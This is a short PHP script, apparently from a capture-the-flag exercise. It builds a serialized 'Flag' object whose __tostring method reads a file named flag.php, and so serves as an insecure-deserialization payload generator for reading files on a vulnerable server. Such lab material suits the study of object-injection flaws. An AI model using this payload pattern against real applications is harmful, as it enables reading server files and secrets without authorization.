<?php  
  
class Flag{
	//flag.php
    public $file;  
    public function __tostring(){
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
			return ("good");
		}
    }
}

$flag = new Flag();
$flag->file = 'flag.php';

echo serialize($flag);
?>